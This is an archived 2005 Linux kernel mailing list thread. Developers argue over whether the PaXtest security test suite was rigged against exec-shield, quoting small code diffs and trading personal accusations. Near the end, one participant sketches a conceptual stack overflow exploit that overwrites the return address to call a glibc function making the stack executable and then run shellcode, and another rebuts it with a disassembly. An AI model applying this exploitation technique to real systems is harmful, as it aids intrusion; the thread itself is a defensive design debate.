Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

Hi!

> I'm not entirely happy yet (it shows a bug in mmap randomisation) but
> it's way better than what you get in your tests (this is the
> desabotaged
> 0.9.6 version fwiw)

As you may or may not know, I am the author of PaXtest. Please tell me what a 
``desabotaged'' version of PaXtest exactly is. I've never seen a 
``sabotaged'' PaXtest and I'm interested in finding out who sabotaged it and 
for what purpose.

Come to think of it, sabotaging a test program seems to be a rather stupid 
concept. I mean, if you don't like the results, then don't run it. For me the 
integrity of PaXtest is very important. I mean, who would trust a test-suite 
if it produces manipulated results? Right, noone! Why would I want to write a 
test-suite noone uses? Right, I wouldn't, it is a waste of time! It is boring 
to write a test-suite. So it better not be a waste of time! I'm sincerely 
flattered by the fact that someone as famous as you uses PaXtest.

Well, PaXtest was designed to dig up hard facts about how well a system 
protects process integrity. So, if someone sabotages PaXtest and releases a 
changed version, that means that person clearly has the opposite intention, 
which is producing false information.

The whole concept of sabotaging PaXtest and rigging results doesn't make sense 
to me. People who do that must not be happy with the results and gain 
something by rigging them. But to think that it would go unnoticed...? First 
of all, if you don't like the results, don't run it! Second, run kiddie mode 
if you want to use PaXtest to feel warm and cozy. Third, the code is out 
there, anyone can download, compile, run and dissect it. Fourth, it is only a 
few lines of code per test. In other words, it is trivial to understand for 
anyone who is worth his salt. Therefore anyone who would want to sabotage it, 
can easily be publicly exposed and dealt with accordingly. Only stupid people 
would not be able to figure this out right away or be stupid enough to do it 
anyway. I honestly can't think of anyone that stupid... But then, you never 
know, I've been surprised before.

Anyways, I know there are some problems with PaXtest on Fedora, caused by 
PT_GNU_STACK stuff AFAIK. Unfortunately I don't have access to a Fedora 
machine and therefore am not able to fix and test it. But I would love to 
have PaXtest working on Fedora. So if you have it working on Fedora, feel 
free to send in a patch. There are probably more people who use Fedora who 
want to check their system's security, so you would really help those people.

I'm sorry to have to bother the people on this list, as you have much more 
important things to do. But for me personally, the integrity of PaXtest (and 
related to that, my personal integrity) matters a great deal. So I'd like to 
get to the bottom of this, even if that means bothering lkml. I hope Arjan 
can provide facts soon, so I can take action against this sabotage. If anyone 
else on this mailing list has information on this sabotaged PaXtest matter, 
then please speak up.

As a side note, I am really glad that this code goes into the kernel. It is 
good to finally see some security being added to the Linux kernel. Big thumbs 
up for the good work!

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Arjan van de Ven]

On Mon, 2005-01-31 at 13:57 +0100, Peter Busser wrote:
> Hi!
> 
> > I'm not entirely happy yet (it shows a bug in mmap randomisation) but
> > it's way better than what you get in your tests (this is the
> > desabotaged
> > 0.9.6 version fwiw)
> 
> As you may or may not know, I am the author of PaXtest. Please tell me what a 
> ``desabotaged'' version of PaXtest exactly is. I've never seen a 
> ``sabotaged'' PaXtest and I'm interested in finding out who sabotaged it and 
> for what purpose.
> 
> Come to thin

> I'm sorry to have to bother the people on this list, as you have much more 
> important things to do. But for me personally, the integrity of PaXtest (and 
> related to that, my personal integrity) matters a great deal. So I'd like to 
> get to the bottom of this, even if that means bothering lkml. I hope Arjan 
> can provide facts soon, so I can take action against this sabotage. 

ok the paxtest 0.9.5 I downloaded from a security site (not yours) had
this gem in:

--- paxtest/body.c
+++ paxtest-0.9.5/body.c        2005-01-18 17:30:11.000000000 +0100
@@ -29,7 +29,6 @@
        fflush( stdout );

        if( fork() == 0 ) {
+               do_mprotect((unsigned long)argv & ~4095U, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC);
                doit();
        } else {
                wait( &status );

which is clearly there to sabotage any segmentation based approach (eg
execshield and openwall etc); it cannot have any other possible use or
meaning.

the paxtest 0.9.6 that John Moser mailed to this list had this gem in
it:
@@ -39,8 +42,6 @@
         */
        int paxtest_mode = 1;

+       /* Dummy nested function */
+       void dummy(void) {}

        mode = getenv( "PAXTEST_MODE" );
        if( mode == NULL ) {


which is clearly there with the only possible function of sabotaging the
automatic PT_GNU_STACK setting by the toolchain (which btw is not fedora
specific but happens by all new enough (3.3 or later) gcc compilers on
all distros) since that requires an executable stack.

Now I know you're a honest and well meaning guy and didn't put those
sabotages in, and I did indeed not get paxtests from your site directly,
so they obviously must have been tampered with, hence me calling it de-
sabotaging when I fixed this issue (by moving the function to not be
nested).

Greetings,
   Arjan van de Ven

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

On Monday 31 January 2005 17:41, you wrote:
> On Mon, 2005-01-31 at 13:57 +0100, Peter Busser wrote:
> > Hi!
> >
> > > I'm not entirely happy yet (it shows a bug in mmap randomisation) but
> > > it's way better than what you get in your tests (this is the
> > > desabotaged
> > > 0.9.6 version fwiw)
> ok the paxtest 0.9.5 I downloaded from a security site (not yours) had
> this gem in:

So what does 0.9.5 have to do with 0.9.6?

> --- paxtest/body.c
> +++ paxtest-0.9.5/body.c        2005-01-18 17:30:11.000000000 +0100
> @@ -29,7 +29,6 @@
>         fflush( stdout );
>
>         if( fork() == 0 ) {
> +               do_mprotect((unsigned long)argv & ~4095U, 4096,
> PROT_READ|PROT_WRITE|PROT_EXEC);
>                 doit();
>         } else {
>                 wait( &status );
>
> which is clearly there to sabotage any segmentation based approach (eg
> execshield and openwall etc); it cannot have any other possible use or
> meaning.

Ah, so you are saying that I sabotaged PaXtest? Sorry to burst your bubble, 
but the PaXtest tests are no real attacks. They are *simulated* attacks. The 
do_mprotect() is there to *simulate* behaviour people found in GLIBC under 
certain circumstances. In other words: This is how certain applications 
behave when run on exec-shield. They complained that PaXtest showed 
inaccurate results on exec-shield. Since the purpose of PaXtest is to show 
accurate results, the lack thereof has been fixed.

> the paxtest 0.9.6 that John Moser mailed to this list had this gem in
> it:
> @@ -39,8 +42,6 @@
>          */
>         int paxtest_mode = 1;
>
> +       /* Dummy nested function */
> +       void dummy(void) {}
>
>         mode = getenv( "PAXTEST_MODE" );
>         if( mode == NULL ) {
>
>
> which is clearly there with the only possible function of sabotaging the
> automatic PT_GNU_STACK setting by the toolchain (which btw is not fedora
> specific but happens by all new enough (3.3 or later) gcc compilers on
> all distros) since that requires an executable stack.

Again, this is a *simulation* of the way real-life applications could interact 
with the underlying system. Again people complained that the results shown 
were not accurate. And that has been fixed.

I am well aware of complaints by some people about this behaviour. That is why 
there is a separated kiddie and blackhat mode in the latest PaXtest version. 
The kiddie mode is for those people who prefer to feel warm and cozy and the 
blackhat mode is for those who want to find out what the worst-case behaviour 
is. So if you don't like the blackhat results, don't run that test!

> Now I know you're a honest and well meaning guy and didn't put those
> sabotages in, and I did indeed not get paxtests from your site directly,
> so they obviously must have been tampered with, hence me calling it de-
> sabotaging when I fixed this issue (by moving the function to not be
> nested).

No, these things are also in the officially released sources. I put them in 
myself in fact.

Interesting. So you are saying that even though applications sometimes use 
mprotect(), either directly or indirectly through GLIBC (such as 
multithreaded applications), and there are applications in the wild which use 
nested functions, that PaXtest should not use these to simulate those kinds 
of applications. Well, that is an opinion. A strange opinion. Does that mean 
you ``desabotage'' all other applications on this planet as well? Or is 
PaXtest perhaps special, because it tells people what really goes on?

My opinion is that PaXtest is correctly showing the consequences of the design 
decisions you and other people who hacked exec-shield made. These 
consequences are nowhere documented. So PaXtest is the only source for people 
to find out about them. It seems to me that you would rather not have people 
find out about it. It looks like you would rather prefer to cowardly kill the 
messenger than to stand up for the design decisions you made, like a real man 
would.

If that is the kind of person who you really are, then you have just managed 
to disappoint me. If you'd knew me, you'd know that that is quite an 
accomplishment. And frankly speaking, I don't think I would be happy with 
this if I were your employer. Since this kind of negative behaviour also 
reflects on the company you represent.

Anyways, I now know enough about this and I'm done wasting my time on this 
childish discussion. If you, or anyone else for that matter, has complaints 
about PaXtest or patches to improve it, please let me know. Otherwise I 
suggest to leave me alone and to try to pick someone half your size to bully 
around next time.

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* Peter Busser <busser@m-privacy.de> wrote:

> > ok the paxtest 0.9.5 I downloaded from a security site (not yours) had
> > this gem in:

> > +               do_mprotect((unsigned long)argv & ~4095U, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);

> > which is clearly there to sabotage any segmentation based approach (eg
> > execshield and openwall etc); it cannot have any other possible use or
> > meaning.

> > the paxtest 0.9.6 that John Moser mailed to this list had this gem in
> > it:

> > +       /* Dummy nested function */
> > +       void dummy(void) {}

> > which is clearly there with the only possible function of sabotaging the
> > automatic PT_GNU_STACK setting by the toolchain (which btw is not fedora
> > specific but happens by all new enough (3.3 or later) gcc compilers on
> > all distros) since that requires an executable stack.
[...]

> No, these things are also in the officially released sources. I put
> them in myself in fact.

*PLONK*

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

On Tuesday 01 February 2005 12:46, you wrote:
> * Peter Busser <busser@m-privacy.de> wrote:
> > > ok the paxtest 0.9.5 I downloaded from a security site (not yours) had
> > > this gem in:
> > >
> > > +               do_mprotect((unsigned long)argv & ~4095U, 4096,
> > > PROT_READ|PROT_WRITE|PROT_EXEC);
> > >
> > > which is clearly there to sabotage any segmentation based approach (eg
> > > execshield and openwall etc); it cannot have any other possible use or
> > > meaning.
> > >
> > > the paxtest 0.9.6 that John Moser mailed to this list had this gem in
> > > it:
> > >
> > > +       /* Dummy nested function */
> > > +       void dummy(void) {}
> > >
> > > which is clearly there with the only possible function of sabotaging
> > > the automatic PT_GNU_STACK setting by the toolchain (which btw is not
> > > fedora specific but happens by all new enough (3.3 or later) gcc
> > > compilers on all distros) since that requires an executable stack.
>
> [...]
>
> > No, these things are also in the officially released sources. I put
> > them in myself in fact.
>
> *PLONK*

You still don't get it, do you?

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Diego Calleja]

El Tue, 1 Feb 2005 10:44:39 +0100 Peter Busser <busser@m-privacy.de> escribió:

> > which is clearly there to sabotage any segmentation based approach (eg
> > execshield and openwall etc); it cannot have any other possible use or
> > meaning.
> 
> Ah, so you are saying that I sabotaged PaXtest? Sorry to burst your bubble, 
> but the PaXtest tests are no real attacks. They are *simulated* attacks. The 
> do_mprotect() is there to *simulate* behaviour people found in GLIBC under 
> certain circumstances. In other words: This is how certain applications 
> behave when run on exec-shield. They complained that PaXtest showed 
> inaccurate results on exec-shield. Since the purpose of PaXtest is to show 
> accurate results, the lack thereof has been fixed.


And people complains that nobody uses pax....

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Theodore Ts'o]

On Tue, Feb 01, 2005 at 10:44:39AM +0100, Peter Busser wrote:
> Again, this is a *simulation* of the way real-life applications could interact 
> with the underlying system. Again people complained that the results shown 
> were not accurate. And that has been fixed.
> 
> I am well aware of complaints by some people about this behaviour. That is why 
> there is a separated kiddie and blackhat mode in the latest PaXtest version. 
> The kiddie mode is for those people who prefer to feel warm and cozy and the 
> blackhat mode is for those who want to find out what the worst-case behaviour 
> is. So if you don't like the blackhat results, don't run that test!

Umm, so exactly how many applications use multithreading (or otherwise
trigger the GLIBC mprotect call), and how many applications use nested
functions (which is not ANSI C compliant, and as a result, very rare)?

Do the tests both ways, and document when the dummy() re-entrant
function might actually be hit in real life, and then maybe people
won't feel that you are deliberately and unfairly overstating things
to try to root for one security approach versus another.  Of course,
with name like "paxtest", maybe its only goal was propganda for the
PaX way of doing things, in which case, that's fine.  But if you want
it to be viewed as an honest, fair, and unbaised, then make it very
clear in the test results how programs with and without nested
functions, and with and without multithreading, would actually behave.

Or are you afraid that someone might then say --- oh, so PaX's extra
complexity is only needed if we care about programs that use nested
functions --- yawn, I think we'll pass on the complexity.  Is that a
tradeoff that you're afraid to allow people to make with full
knowledge?

						- Ted

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Theodore Ts'o]

On Tue, Feb 01, 2005 at 07:15:49PM -0500, Theodore Ts'o wrote:
> Umm, so exactly how many applications use multithreading (or otherwise
> trigger the GLIBC mprotect call), 

For the record, I've been informed that the glibc mprotect() call
doesn't happen in any modern glibc's; there may have been one buggy
glibc that was released very briefly before it was fixed in the next
release.  But if that's what the paxtest developers are hanging their
hat on, it seems awfully lame to me.....

"desabotaged" seems like the correct description from my vantage
point.

						- Ted

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

On Wednesday 02 February 2005 09:26, Theodore Ts'o wrote:
> On Tue, Feb 01, 2005 at 07:15:49PM -0500, Theodore Ts'o wrote:
> > Umm, so exactly how many applications use multithreading (or otherwise
> > trigger the GLIBC mprotect call),
>
> For the record, I've been informed that the glibc mprotect() call
> doesn't happen in any modern glibc's; there may have been one buggy
> glibc that was released very briefly before it was fixed in the next
> release.  But if that's what the paxtest developers are hanging their
> hat on, it seems awfully lame to me.....
>
> "desabotaged" seems like the correct description from my vantage
> point.

Well, great! One problem eliminated.

Anyways, for me it is not important whether what GLIBC exactly does or doesn't 
do. There are tons of different libraries and applications which do all kinds 
of stuff. You can only guess what exactly goes on. And not all compilers 
generate PT_GNU_STACK stuff either. And so on and so forth.

What is important to me is the question whether the PaXtest results are 
accurately reflecting the underlying system or not. Therefore I would like to 
see proof that exec-shield does NOT open up in situations where PaXtest says 
it does. So far I have seen ``sabotage'' FUD, opinions and excuses. But no 
proof. Nor any reasonable evidence. That doesn't surprise me, because PaXtest 
is accurate in what it does.

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

Hi!

> Umm, so exactly how many applications use multithreading (or otherwise
> trigger the GLIBC mprotect call), and how many applications use nested
> functions (which is not ANSI C compliant, and as a result, very rare)?
>
> Do the tests both ways, and document when the dummy() re-entrant
> function might actually be hit in real life, and then maybe people
> won't feel that you are deliberately and unfairly overstating things
> to try to root for one security approach versus another. 

Well, you can already do the test both ways. There is a kiddie mode, which 
doesn't do this test. And a blackhat mode, which does it. Basically removing 
the mprotect and nested function is demoting blackhat mode into kiddie mode.

> Of course, 
> with name like "paxtest", maybe its only goal was propganda for the
> PaX way of doing things, in which case, that's fine. 

Well, I can understand that perception. That is, if I would have made any 
contributions to PaX. Fact is, I haven't contributed as much as a single 
ASCII character to PaX. I'm just a user of PaX, just as I am a user of the 
Linux kernel. Sure, I recommend other people to use PaX. Why not? It works 
well for me. I recommend Linux to other people. I guess that's a bad thing 
too, right?

When I started Trusted Debian (which is what Adamantix used to be called), I 
looked around for security related stuff and found out about PaX. So I 
decided to give it a try and also the ET_DYN executable to maximise the use 
of ASLR (Address Space Layout Randomisation). After compiling a bunch of 
programs this way, I was kind of feeling uneasy. One would expect that such 
an intrusive kernel patch would break stuff. And PaX didn't. In fact, I 
didn't have any proof whether it worked or not.

Since my purpose was to distribute this stuff and I am not smart enough to 
fully understand the kernel code, I would not be able to truthfully tell 
people wether this PaX stuff worked or not. So I decided to write a 
test-suite. Well, it tests PaX functionality, not GCC functionality or POSIX 
compliance, so I named it PaXtest. That is how PaXtest began.

I don't understand where this ``propaganda'' mindframe comes from, but I don't 
have any money I make off of PaXtest, I don't have a stock price to worry 
about, no trademarks to defend and stuff like that. And in fact, I don't care 
whether you use PaXtest or not and what you think about the results. It is 
sufficient for me to know that they are accurately reflecting the underlying 
system.

> But if you want 
> it to be viewed as an honest, fair, and unbaised, then make it very
> clear in the test results how programs with and without nested
> functions, and with and without multithreading, would actually behave.

Ok, so how exactly do you propose to do this?

> Or are you afraid that someone might then say --- oh, so PaX's extra
> complexity is only needed if we care about programs that use nested
> functions --- yawn, I think we'll pass on the complexity.  Is that a
> tradeoff that you're afraid to allow people to make with full
> knowledge?

That's looking at this from the bottom up. I'm looking at this from a 
different perspective. In civil engineering, it is normal to explore worst 
case scenarios. Suppose you don't do that and a bridge collapses and people 
die. Or a plane breaks in two while flying and people die. I'm sure you agree 
that that is a Really Bad Thing<tm>, right?

In the computer industry however, we mostly insist in building fragile 
systems. I'm just stating a fact, and not trying to imply that I'm any better 
than anyone else. There is a whole list of perfectly good excuses for 
building fragile computer systems. These systems are a risk. That's ok, as 
long as the risk can be managed. That is basically what most of security in 
the real-world (and I'm not talking about the technical level real-world 
here) is about: Risk management.

But you can't do risk management properly, unless you know what could happen 
in the worst case. Otherwise you get situations which Linus described 
regarding the OpenWall patch, where people might get a false sense of 
security (note that this is also reflected in the PaXtest results when run on 
an OpenWall kernel). There are clear differences between how PaX and 
exec-shield behave in worst case situations. PaXtest shows these when you run 
blackhat mode but not when you run kiddie mode. And that's all there is to 
it.

Now, what any person does with the PaXtest results, that is up to that person 
and not for you or me to decide. And that is why I want to stop the FUD which 
is being spread and to stop people from abusing their reputation as kernel 
developer to influence other people to cripple their copies of PaXtest, 
thereby removing their ability to explore the worst-case scenario. Crippling 
PaXtest effectively works as a form of censorship. Personally, I think the 
Linux community is more served by an open discussion than by censorship. But 
I seems some people have a different opinion on that.

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Arjan van de Ven]

On Wed, 2005-02-02 at 10:35 +0100, Peter Busser wrote:
> Hi!
> 
> > Umm, so exactly how many applications use multithreading (or otherwise
> > trigger the GLIBC mprotect call), and how many applications use nested
> > functions (which is not ANSI C compliant, and as a result, very rare)?
> >
> > Do the tests both ways, and document when the dummy() re-entrant
> > function might actually be hit in real life, and then maybe people
> > won't feel that you are deliberately and unfairly overstating things
> > to try to root for one security approach versus another. 
> 
> Well, you can already do the test both ways. There is a kiddie mode, which 
> doesn't do this test. And a blackhat mode, which does it. Basically removing 
> the mprotect and nested function is demoting blackhat mode into kiddie mode.

actually you don't. The presence of the nested function (technically,
the taking of the address of a nested function) marks the PT_GNU_STACK
field in the binary, not the runtime behavior. As such, paxtest does not
offer any real such choice in behavior. The binary needs stack
trampolines, just that in one case you don't use them.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> Umm, so exactly how many applications use multithreading (or otherwise
> trigger the GLIBC mprotect call), and how many applications use nested
> functions (which is not ANSI C compliant, and as a result, very rare)?

i think you're missing the whole point of paxtest. it's not about what
glibc et al. do or don't do. it's about what an exploit can do (by
virtue of forcing the exploited application to do something). if your
line of thinking was correct, then why didn't you also object to the
fact that the paxtest applications overflow their own stack/heap/etc?
or that they put 'shellcode' onto the stack/heap/etc and invoke it by
abusing a memory corrupting bug? surely no sane real-life application
does any of this.

so once again, let me explain what paxtest does. it tests PaX for its
claims. since PaX claims to be an intrusion prevention system, paxtest
tries to simulate said intrusions (in particular, we're talking about
exploiting memory corruption bugs). the stress is on 'simulate'. none
of the paxtest applications are full blown exploits. nor do they need
to be. knowing what PaX does (or claims to do), it's very easy to design
and write small applications that perform the core steps of an exploit
that may be able to break the protection mechanisms. i.e., any 'real'
exploit would eventually have to perform these core steps, so by ensuring
that they don't work (at least when the PaX claims stand) we can ensure
that no real life exploit would work either.

now let's get back to mprotect(), nested functions, etc. when an exploit
writer knows that the only barrier that prevents him from executing his
shellcode is a circumventible memory protection, then guess what, he'll
first try to circumvent said memory protection then execute his shellcode
as usual. since memory protection is controlled by mmap/mmprotect, his
goal will be to somehow force the exploited application to end up calling
these functions to get an executable region holding his shellcode.

your concerns would be valid if this was impossible to achieve by an
exploit, sadly, you'd be wrong too, it's possible to force an exploited
application to call something like dl_make_stack_executable() and then
execute the shellcode. there're many ways of doing this, the simplest
(in terms of lines of code) was chosen for paxtest. or put another way,
would you still argue that the use of the nested function trampoline
is sabotage whereas an exploit forcing a call to dl_make_stack_executable()
isn't? because the two achieve the exact same thing, they open up the
address space (or part of it, depending on the intrusion prevention
system) for shellcode execution.

one thing that paxtest didn't get right in the 'kiddie' mode is that
it still ran with an executable stack, that was not the intention but
rather an oversight, it'll be fixed in the next release. still, this
shouldn't leave you with a warm and fuzzy feeling about the security
of intrusion prevention systems that 'pass' the 'kiddie' mode but fail
the 'blackhat' mode, in the real life out there, only the latter matters
(if for no other reason, then for natural evolution/adaptation of
exploit writers).

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

Hi!

> one thing that paxtest didn't get right in the 'kiddie' mode is that
> it still ran with an executable stack, that was not the intention but
> rather an oversight, it'll be fixed in the next release. still, this
> shouldn't leave you with a warm and fuzzy feeling about the security
> of intrusion prevention systems that 'pass' the 'kiddie' mode but fail
> the 'blackhat' mode, in the real life out there, only the latter matters
> (if for no other reason, then for natural evolution/adaptation of
> exploit writers).

I apologise for this bug. If someone had pointed this out in a clear and 
to-the-point kind of way, then this would have been fixed a long time ago.

Anyways, if anyone else has any suggestions, fixes, or special wishes for 
PaXtest (some exec-shield specific tests perhaps?), then please speak up now. 
I'd rather not bother this list again about PaXtest related issues.

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Olivier Galibert]

On Wed, Feb 02, 2005 at 10:18:27PM +1000, pageexec@freemail.hu wrote:
> your concerns would be valid if this was impossible to achieve by an
> exploit, sadly, you'd be wrong too, it's possible to force an exploited
> application to call something like dl_make_stack_executable() and then
> execute the shellcode.

If you can call mprotect() with a protected environment to unprotect
it, you can as easily call exec.

  OG.

Re: Sabotaged PaXtest

[John Richard Moser]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



Arjan van de Ven wrote:
> On Mon, 2005-01-31 at 13:57 +0100, Peter Busser wrote:
> 
>>Hi!

[...]

> the paxtest 0.9.6 that John Moser mailed to this list had this gem in
> it:
> @@ -39,8 +42,6 @@
>          */
>         int paxtest_mode = 1;
> 
> +       /* Dummy nested function */
> +       void dummy(void) {}
> 
>         mode = getenv( "PAXTEST_MODE" );
>         if( mode == NULL ) {
> 
> 
> which is clearly there with the only possible function of sabotaging the
> automatic PT_GNU_STACK setting by the toolchain (which btw is not fedora
> specific but happens by all new enough (3.3 or later) gcc compilers on
> all distros) since that requires an executable stack.

I'll say this AGAIN:  I execstack -c'd the directory after the first
borked up test and stuff randomly failed.  After upgrading FC3's kernel
though I got predictable results.


- --
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCB7T0hDd4aOud5P8RAk7XAJ4oYgr2ySTdg+y80f6pBasO+x8ttACfdjYx
++dQRSTGzTGP/Vsp2KZ6YHU=
=jp9U
-----END PGP SIGNATURE-----

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> your concerns would be valid if this was impossible to achieve by an
> exploit, sadly, you'd be wrong too, it's possible to force an
> exploited application to call something like
> dl_make_stack_executable() and then execute the shellcode. [...]

and how do you force a program to call that function and then to execute
your shellcode? In other words: i challenge you to show a working
(simulated) exploit on Fedora (on the latest fc4 devel version, etc.) 
that does that. 

You can simulate the overflow itself so no need to find any real
application vulnerability, but show me _working code_ (or a convincing
description) that can call glibc's do_make_stack_executable() (or the
'many ways of doing this'), _and_ will end up executing your shell code
as well.

if you can do this i fully accept there's a problem.

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> and how do you force a program to call that function and then to execute
> your shellcode? In other words: i challenge you to show a working
> (simulated) exploit on Fedora (on the latest fc4 devel version, etc.) 
> that does that. 

i don't have any Fedora but i think i know roughly what you're doing,
if some of the stuff below wouldn't work, let me know.

> You can simulate the overflow itself so no need to find any real
> application vulnerability, but show me _working code_ (or a convincing
> description) that can call glibc's do_make_stack_executable() (or the
> 'many ways of doing this'), _and_ will end up executing your shell code
> as well.

ok, since i get to make it up, here's the exploitable application
then the exploit method (just the payload, i hope it's obvious
how it works).

------------------------------------------------------------------
int parse_something(char * field, char * user_input) {
...
    strcpy(field, user_input+maybe_some_offset);
...
}
------------------------------------------------------------------
int some_function(char * user_input, ...) {
    char field1[BUFLEN];
...
    parse_something(field1, user_input);
...
}
------------------------------------------------------------------

the stack just before the overflow looks like this:
[...]
[field1]
[other locals]
[saved EBP]
[saved EIP]
[user_input]
[...]

the overflow hits field1 and whatever is deemed necessary from
that point on. i'll do this:

[...]
[field1 and other locals replaced with shellcode]
[saved EBP replaced with anything in this case]
[saved EIP replaced with address of dl_make_stack_executable()]
[user_input left in place, i.e., overflow ends before this]
[...]

dl_make_stack_executable() will nicely return into user_input
(at which time the stack has already become executable).

as you can see in this particular case even a traditional strcpy()
based overflow can get around ascii-armor and FORTIFY_SOURCE. if the
overflow was of a different (more real-life, i'd say) nature, then
it could very well be based on memcpy() which can copy 0 bytes and has
no problems with ascii armor, or multiple overflows triggered from
the same function (think parse_something() getting called in a parser
loop) where you can compose more than one 0 byte on the stack, or
not be based on any particular C library function and then all bets
are off as to what one can/cannot do.

if there's an address pointing back into the overflowed buffer
somewhere deeper in the stack then i could have a payload like:

[...]
[shellcode]
[saved EIP replaced with the address of a suitable 'retn' insn]
[more addresses of 'retn']
[address of dl_make_stack_executable()]
[pointer (in)to the overflowed buffer (shellcode)]
[...]

(this is actually the stack layout that a recent paper analysing
ASLR used/assumed [1]). note that this particular exploit method
would be greatly mitigated by a stack layout created by SSP [2]
(meaning the local variable reordering, not the canary stuff).

i could have also replaced the saved EBP (which becomes ESP
eventually) with a suitable address (not necessarily on the stack
even) where i can find (create) the

[address of dl_make_stack_executable()]
[shellcode address]

pattern (during earlier interactions with the exploited application),
but it requires whole application memory analysis (which you can bet
any exploit writer worth his salt would do).

speaking of ASLR/randomization, all that they mean for the above is
a constant work factor (short of info leaking, of course), in the
ES case it's something like 12 bits, for PaX it's 15-16 bits (on i386).

[1] http://www.stanford.edu/~blp/papers/asrandom.pdf
[2] http://www.trl.ibm.com/projects/security/ssp/

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> > You can simulate the overflow itself so no need to find any real
> > application vulnerability, but show me _working code_ (or a convincing
> > description) that can call glibc's do_make_stack_executable() (or the
> > 'many ways of doing this'), _and_ will end up executing your shell code
> > as well.

> the overflow hits field1 and whatever is deemed necessary from
> that point on. i'll do this:
> 
> [...]
> [field1 and other locals replaced with shellcode]
> [saved EBP replaced with anything in this case]
> [saved EIP replaced with address of dl_make_stack_executable()]
> [user_input left in place, i.e., overflow ends before this]
> [...]
> 
> dl_make_stack_executable() will nicely return into user_input
> (at which time the stack has already become executable).

wrong, _dl_make_stack_executable() will not return into user_input() in
your scenario, and your exploit will be aborted. Check the glibc sources
and the implementation of _dl_make_stack_executable() in particular. 

I've also attached the disassembly of _dl_make_stack_executable(), from
glibc-2.3.4-3.i686.rpm. 

The sources are at:

   http://download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/glibc-2.3.4-3.src.rpm

	Ingo

0000ec50 <_dl_make_stack_executable>:
    ec50:	55                   	push   %ebp
    ec51:	ba 0c 00 00 00       	mov    $0xc,%edx
    ec56:	89 e5                	mov    %esp,%ebp
    ec58:	57                   	push   %edi
    ec59:	56                   	push   %esi
    ec5a:	53                   	push   %ebx
    ec5b:	83 ec 10             	sub    $0x10,%esp
    ec5e:	8b 08                	mov    (%eax),%ecx
    ec60:	e8 a6 34 00 00       	call   1210b <__i686.get_pc_thunk.bx>
    ec65:	81 c3 6f 73 00 00    	add    $0x736f,%ebx
    ec6b:	89 45 f0             	mov    %eax,0xfffffff0(%ebp)
    ec6e:	8b bb d0 fc ff ff    	mov    0xfffffcd0(%ebx),%edi
    ec74:	89 54 24 04          	mov    %edx,0x4(%esp)
    ec78:	8b 45 04             	mov    0x4(%ebp),%eax
    ec7b:	f7 df                	neg    %edi
    ec7d:	21 cf                	and    %ecx,%edi
    ec7f:	89 04 24             	mov    %eax,(%esp)
    ec82:	ff 93 94 fe ff ff    	call   *0xfffffe94(%ebx)
    ec88:	85 c0                	test   %eax,%eax
    ec8a:	0f 85 da 00 00 00    	jne    ed6a <_dl_make_stack_executable+0x11a>
    ec90:	8b 45 f0             	mov    0xfffffff0(%ebp),%eax
    ec93:	8b b3 34 ff ff ff    	mov    0xffffff34(%ebx),%esi
    ec99:	39 30                	cmp    %esi,(%eax)
    ec9b:	0f 85 c9 00 00 00    	jne    ed6a <_dl_make_stack_executable+0x11a>
    eca1:	80 bb d4 04 00 00 00 	cmpb   $0x0,0x4d4(%ebx)
    eca8:	0f 84 82 00 00 00    	je     ed30 <_dl_make_stack_executable+0xe0>
    ecae:	8b 83 d0 fc ff ff    	mov    0xfffffcd0(%ebx),%eax
    ecb4:	8d 34 c5 00 00 00 00 	lea    0x0(,%eax,8),%esi
    ecbb:	8d 3c 38             	lea    (%eax,%edi,1),%edi
    ecbe:	89 f6                	mov    %esi,%esi
    ecc0:	29 f7                	sub    %esi,%edi
    ecc2:	8b 93 14 ff ff ff    	mov    0xffffff14(%ebx),%edx
    ecc8:	81 e2 ff ff ff fe    	and    $0xfeffffff,%edx
    ecce:	89 54 24 08          	mov    %edx,0x8(%esp)
    ecd2:	89 74 24 04          	mov    %esi,0x4(%esp)
    ecd6:	89 3c 24             	mov    %edi,(%esp)
    ecd9:	e8 22 2a 00 00       	call   11700 <__mprotect>
    ecde:	85 c0                	test   %eax,%eax
    ece0:	74 de                	je     ecc0 <_dl_make_stack_executable+0x70>
    ece2:	8b 83 08 05 00 00    	mov    0x508(%ebx),%eax
    ece8:	83 f8 0c             	cmp    $0xc,%eax
